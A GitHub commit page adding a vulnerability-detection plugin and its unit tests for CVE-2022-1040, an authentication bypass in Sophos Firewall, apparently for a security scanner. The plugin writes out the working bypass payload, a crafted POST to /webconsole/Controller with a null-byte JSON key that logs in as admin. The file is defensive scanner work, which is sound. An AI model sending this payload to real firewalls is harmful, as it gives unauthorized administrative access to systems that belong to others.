Skip to content

Commit f7df903

Browse files
Merge pull request #755 from doyensec:CVE-2022-1040
PiperOrigin-RevId: 844809294 Change-Id: I41277855d20b713a7971f36d9026027ddc214e2b
2 parents fad49f0 + 30a9737 commit f7df903

File tree

2 files changed

+131
-0
lines changed

2 files changed

+131
-0
lines changed
Lines changed: 84 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
1+
# proto-file: proto/templated_plugin.proto
2+
# proto-message: TemplatedPlugin
3+
4+
###############
5+
# PLUGIN INFO #
6+
###############
7+
8+
info: {
9+
type: VULN_DETECTION
10+
name: "Sophos_CVE_2022_1040"
11+
author: "Giacomo Coluccelli <[email protected]>"
12+
version: "1.0"
13+
}
14+
15+
finding: {
16+
main_id: {
17+
publisher: "GOOGLE"
18+
value: "CVE_2022_1040"
19+
}
20+
severity: CRITICAL
21+
title: "CVE-2022-1040 - Authentication Bypass on Sophos Firewall"
22+
description:
23+
"An authentication bypass vulnerability in the User Portal and Webadmin allows a "
24+
"remote attacker to execute code in Sophos Firewall version v18.5 MR3 and older."
25+
recommendation:
26+
"Upgrade Sophos Firewall. Fix included in v19.0 GA and v18.5 MR4 (18.5.4)."
27+
related_id: {
28+
publisher: "CVE"
29+
value: "CVE-2022-1040"
30+
}
31+
}
32+
33+
config: {
34+
disabled: false
35+
}
36+
37+
###########
38+
# ACTIONS #
39+
###########
40+
41+
actions: {
42+
name: "fingerprint_sophos_firewall"
43+
http_request: {
44+
method: GET
45+
uri: "/webconsole/webpages/login.jsp"
46+
response: {
47+
http_status: 200
48+
expect_all: {
49+
conditions: { body {} contains: '<title>Sophos</title>' }
50+
}
51+
}
52+
}
53+
}
54+
55+
actions: {
56+
name: "attempt_authentication_bypass"
57+
http_request: {
58+
method: POST
59+
uri: "/webconsole/Controller"
60+
headers: [
61+
{ name: "Content-Type" value: "application/x-www-form-urlencoded" }
62+
]
63+
data: "mode=151&json={\"username\"%3a\"admin\",\"password\"%3a\"somethingnotpassword\",\"languageid\"%3a\"1\",\"browser\"%3a\"Chrome_101\",\"accessaction\"%3a1,+\"mode\\u0000ef\"%3a716}"
64+
response: {
65+
http_status: 200
66+
expect_all: {
67+
conditions: [
68+
{ body: {} contains: "{\"redirectionURL\":\"/webpages/index.jsp\",\"status\":200}" }
69+
]
70+
}
71+
}
72+
}
73+
}
74+
75+
#############
76+
# WORKFLOWS #
77+
#############
78+
79+
workflows: {
80+
actions: [
81+
"fingerprint_sophos_firewall",
82+
"attempt_authentication_bypass"
83+
]
84+
}
Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
# proto-file: proto/templated_plugin_tests.proto
2+
# proto-message: TemplatedPluginTests
3+
4+
config: {
5+
tested_plugin: "Sophos_CVE_2022_1040"
6+
7+
# Important note: This plugin is used for unit testing. Running tests for this
8+
# plugin should never be disabled.
9+
disabled: false
10+
}
11+
tests: {
12+
name: "whenVulnerable_returnsTrue"
13+
expect_vulnerability: true
14+
mock_http_server: {
15+
mock_responses: [
16+
{
17+
uri: "/webconsole/webpages/login.jsp"
18+
status: 200
19+
body_content: "<title>Sophos</title>"
20+
},
21+
{
22+
uri: "/webconsole/Controller"
23+
status: 200
24+
body_content: "{\"redirectionURL\":\"/webpages/index.jsp\",\"status\":200}"
25+
}
26+
]
27+
}
28+
}
29+
30+
tests: {
31+
name: "whenNotVulnerable_returnsFalse"
32+
expect_vulnerability: false
33+
mock_http_server: {
34+
mock_responses: [
35+
{
36+
uri: "/webconsole/webpages/login.jsp"
37+
status: 200
38+
body_content: "Not a Sophos Firewall"
39+
},
40+
{
41+
uri: "/webconsole/Controller"
42+
status: 200
43+
body_content: "{\"redirectionURL\":\"/webpages/index.jsp\",\"status\":-1}"
44+
}
45+
]
46+
}
47+
}

0 commit comments

Comments
 (0)